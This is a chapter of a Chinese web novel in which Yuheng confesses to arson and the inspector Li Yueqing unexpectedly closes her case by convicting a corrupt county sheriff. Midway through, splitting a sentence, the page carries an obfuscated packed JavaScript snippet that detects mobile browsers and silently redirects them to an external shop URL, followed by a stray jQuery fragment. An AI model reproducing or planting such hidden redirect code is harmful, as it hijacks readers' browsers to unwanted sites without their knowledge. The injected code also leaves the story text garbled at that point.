文趣网 > 其他小说 > 山主的柔弱未婚夫掉马啦 > 9. 第 9 章
    玉衡半梦半醒间,似乎听到密集雨声,噼里啪啦敲着窗,扰得她翻了个身。

    房中立马有脚步声传进她耳中,那人轻缓地一步步靠近,她却无力睁眼去看,料想不是知秋就是清霜。

    对方走到床边就停下来,玉衡等许久,都没有再听到什么,却在即将睡着时,对方俯身给她掖了掖被,随即还叹了口气。

    玉衡心下安定,听出是知秋的声音。

    顿时生出疑惑,早就没让知秋如此守夜了,这次她怎么没听?

    玉衡又平躺,闭着眼睛喊了句“知秋”,知秋立即应了,蹲在床边,问:“家主有什么吩咐?”

    她清清嗓子,睁开眼,入眼的不是崔府轻纱床幔,而是粗壮的横梁。

    想要起身,奈何身体没多少力气,知秋见状扶她坐好,走去一旁倒水。

    她接过碗,想也没想喝了下去,等喝完再望着那空碗,非家中款式,后知后觉地问:“这是哪里?”

    “这里是县中客舍,家主在县衙晕倒,我被喊来照顾家主,医师说家主生病未愈,又久不进食才晕倒在堂上。”

    知秋从她手里接过空碗,轻声回答。

    经知秋一提,玉衡才想起自己方才正在县衙厅堂中受审,那名妇人突然倒地,她留在堂里等着,转眼她也竟躺在床上了。

    见玉衡醒来无事,知秋退出房间给她端来饭食,正温着。可能是饿了太久,她倒没什么食欲,但还是端起碗全部吃光。

    知秋坐在床边,说:“消息传来时,可把我吓坏了,太公和老夫人都很担心家主。”

    她说着,眼圈泛红,抬指一擦,又笑说:“还好家主无事,您放心,太公说这事他会想办法摆平,让家主好生养病。”

    玉衡看她:“祖父想怎么做?”

    知秋摇摇头,只说自己不清楚。

    她闭起眼睛,只觉得呼出的每一口气,都带着前所未有的压力。

    可能又想用钱财摆平,纵火这事她无法抵赖,若再摊上一个行贿的罪名,此事便没那么简单了。

    祖父不可能想不到这一点,可关心则乱,有一丝可能保住她,祖父都会去做。

    她才是崔家家主,怎能让一个年近七旬的老人为她奔走操劳,绝不能再让祖父冒险。

    如今尚是白日,她昏了近一个时辰,县衙中那些人想必都还在。

    再睁开眼时,玉衡已下定决心,吩咐道:“知秋,你坐车回山传信,叫祖父莫要冲动,此罪我会认,一切要以保住崔家为先。”

    这事因她而起,既被查出来是如何都遮掩不了。

    知秋张张嘴,看着她一动不动,玉衡没催,站起来整理衣裙,又坐在镜前梳好发髻。

    见状,知秋也知道拦不住她,只好跑出房间抓紧时间回去传话。

    这客舍是离县衙最近的一间,想来是她晕倒得太过突然,县衙里又无安置她的地方,只能择近选了一家。

    近有近的好处,玉衡刚恢复,走去县衙没用多少气力,不到一刻钟就来到县衙门口。

    厅堂里仍有不少人,她踏上石阶进了县衙大门,一眼就看见堂中审案的官员。

    他面容清俊,正一身绯红官袍坐在案前,将手中书册往前一撂,数册轻飘飘落在跪俯之人面前。

    那人连声求饶,堂中众人只看着他,无一人敢帮他说话。

    坐在上首的不是别人,正是李月倾。

    玉衡脚步一顿,看出他审的是其他案子,想立即退去,梁丹瞧见后快步出来拦住她,说:“崔娘子跟随我进去,这案子跟娘子也有关系。”

    她微微蹙眉,看了眼堂内,只能跟着梁丹走进去。

    杨劭见她,立即扬声道:“苦主这不就来了。”

    众人皆看向她。

    玉衡病得再严重,也听出杨劭口中的“苦主”说得正是自己,她疑惑地看向跪在地上的人,才看清这人穿的竟然是官服。

    心中一沉,看向上首,正与李月倾撞上眼神,只一瞬就已移开。

    看得出他脸色并不好,眉眼冷峻凌厉,唇边似笑非笑,看着心思极难揣摩,她还是第一次见他这副模样。

    玉衡又环视一圈,对面坐着的是山荏县县令张俭,除他之外还有几个眼熟的山荏县官员。

    而地上跪着的正微微抬头看向她,一眼玉衡就了然对方身份,这人是山荏县县尉王朝胜。

    梁丹抬着矮椅放她身旁,玉衡没反应过来,就听案后的人不冷不淡地发话:“崔娘子来了,便在旁旁听吧。”

    玉衡有些迟疑地看李月倾,他盯着手中文册,只是随口一说。

    心中想,现在自己还在病中,坐就坐吧,可不想再跟之前一样晕倒在这儿。

    等她落座,李月倾抬眼看向王朝胜,“王县尉,你可还有什么要辩驳的?”

    王朝胜头抵在地面,痛哭流涕,地上书册都被染湿:“微臣无可辩驳,只求使君大人看在我供认不讳的份上,饶我一条性命,我家中还有年迈老母和稚儿要养......”

    他还想求饶哭诉,李月倾却挥手,让差役将人拖了出去。

    等不见人影,玉衡还能隐隐约约听见王朝胜的哭喊,可她没觉得可怜。

    王朝胜生在山荏县,为官后却开始鱼肉乡里。

    纵火一事才刚发生,王朝胜的人就已经到长金山,看似是为问罪而来,实则是想从中捞些好处。这些年他也没少在山荏县敛财,这也算罪有应得。

    看到王朝胜那瞬,她心中就有了数,李月倾可能是想将她纵火和祖父行贿一事一起追究,两罪齐下,崔家根本无力应对。

    她抿紧唇,苍白的脸没有半分血色,胸口如同鼓槌,只能在袖下紧捏着手指,才能勉强冷静。

    下一句就要问罪她了……

    堂中几人低声议论,有惋惜者,也有愤恨者,不知有几分真假。

    李月倾是有本事的,来到山荏第三天,就将王朝胜揪了出来,山荏县官员人人自危,恐怕这时候已经在心里猜想何时会轮到自己了。

    她只知道,处理完王朝胜,下一个就是崔家。

    玉衡实在无心安坐,站起身来,对着上首拱手行礼,道:“使君大人,纵火的确是我所为,我无可辩驳,只求大人能绕过崔家。”

    李月倾未必会听,可她仍旧要做。

    她看着那方公案桌角,又垂下眼,静听处置。

    厅堂里一时静默,她察觉到不少人看过来,便站着由他们打量。

    “崔娘子,”李月倾突然发话,“我知纵火一事你非有意所为,事后还有心补偿,自然从轻处置。”

    他语气和缓,说得煞有其事。

    玉衡惊诧,猛然抬眼看他,李月倾也正看她,只一眼,又收回目光看向手中罪状。

    “王朝胜将崔家补偿村民的钱财全部私吞,我也因此才找出线索定了王朝胜的罪,崔家功过相抵,此案便结了。”

    她快听不懂李月倾在说什么,可他偏偏一副秉公执法的模样,就算心知肚明这些不是真相,她近乎也要信了。

    等李月倾说完,玉衡艰涩地张了张嘴:“那五十金铤,是王朝胜派人——”

    “正是他中饱私囊,此案已了,崔娘子可以放心。”

    李月倾边说边将罪状递给杨劭,看也没看她,起身望了眼堂内:“都散了吧。”

    山荏县官员先退了出去,走时还在讨论王朝胜一案。

    玉衡站在原地,忽觉得耳中嗡嗡作响,堂中方才一切如同幻象,她已经理不清事情真相到底如何。

    梁丹看她一动不动,走上前看她脸:“崔娘子,你脸色很差,还是赶快回去休息。”

    玉衡一愣,看向侧门处,那抹红色极为夺目,李月倾只是微侧头,与县令交谈,随后踏进侧门,再也看不见人影。

    她问梁

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17790430|210366||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    丹:“梁大人,之前状告我的那位妇人在哪儿?”

    梁丹眼睛睁圆,解释说:“杨劭的人去村里一查发现她所言为虚,是因为家中困苦走投无路,才烧了自家房屋想要诬陷索赔,最后使君念看她实在可怜,让人送她回去,还给了钱财。”

    使君是心软才没有追究,聊起这事来崔娘子才是苦主,她听了使君所为定然心凉。

    于是梁丹又补充:“娘子放心,使君特地让人警告过,下次她定不敢再犯。”

    烧毁房屋这事她明明无从抵赖,等晕后再醒,纵火就成了自己是无意为之,而王朝胜私吞了崔家补偿村里人的钱财,理应问罪,而村里人并未收到赔偿,才有了妇人此番诬告。

    一切竟然能说得通。

    可王朝胜怎么会心甘情愿认罪?

    看梁丹的样子,显然不清楚实情,清楚实情的只有李月倾。

    玉衡出了县衙,又回到先前住下的客舍,快到傍晚,才坐上崔家马车回了长金山。

    崔林甫和夫人刘氏已在前厅等她,见到她先是打量一番,见玉衡病容太甚,便先让她回去休息。

    等玉衡离开,崔林甫想了一番,猜得差不离,又问自家夫人:“那越清你也见过,觉得如何?”

    越清逃婚一事让崔家颜面尽失,又让玉衡伤心了好一阵,刘氏心中早就不快,回道:“也就长得好些,心却是狠的,若不狠,怎能做出欺瞒逃婚这种事。”

    崔林甫闻言,捋着胡须微微一笑,他原也这么以为。

    纵火当日,他曾骂玉衡是被越清蛊惑才冲昏头脑,做出这叛逆之事,后又觉得此话说得太重,越清再无情,可她孙女才是被骗的那个。

    今日一事,他细细想对策,只能釜底抽薪保住玉衡,便将那五十金铤的事派人上报巡察使,反告王超胜。

    若要深究,能看出此事有不少漏洞,李月倾却信了崔家所言,崔林甫觉得他是有意放过。

    想必是对逃婚一事心有愧疚,才愿意出手相助,原来也不是他们想的那等无情无义之辈。

    -

    齐州崔府中,雲浮闲得无聊,府中能陪他只有聂三,可这孩子白日都在听先生讲课,等快傍晚时才有空闲与他见面。

    此时两人正在聂三房中,坐在书案前练字。

    雲浮看了一会儿,实在忍不住,从聂三手里抽出笔。

    “你的笔画不对,看我写。”

    他在纸上流畅写出一个“聂”字,字体匀称工整,再对比旁边的,更像是软虫爬出来的。

    把笔递给聂三,雲浮道:“你再写一遍,看着我的字写。”

    聂三写一笔,瞧一眼,最后写出来的字倒真有进步,雲浮颇为得意,让他再对着写上五十遍,这字肯定能练熟。

    聂三在旁闷头练字,雲浮站起伸个懒腰,走到床边往外看去,沈家婚宴在即,崔姐姐应该得回了。

    听说巡察使一行人去了山荏县,这几天他放松许多,跟着去沈家玩一趟也好。

    这府里能陪着他玩得只有聂三,偏偏是个话都说不利索的。

    房里他正想着,府外崔家马车刚停住。

    知秋扶着玉衡走下马车,一进大门,管事的上前来迎,趁时候将近日府中发生的事一讲,见家主气色不好,只简略说了几句就退下,不敢再打扰。

    山荏县中发生的事还未传到齐州崔府,就算传进来,也掀不起太大风波。

    外人眼里,从始至终崔家都是苦主,冤情得雪后,外面的人听了,也只会说崔家心善。

    知秋从得知崔家无事,连带着几天脸上都有笑意,玉衡却不这么想。

    她已知晓是祖父谎报案情,才有崔家的平安无事,李月倾又岂是能被轻而易举欺瞒的人,他依旧如此去做,不知图谋什么。

    可李月倾心思太深,玉衡猜不透,料想从此以后与他也再无交集,自是也没必要再想这些。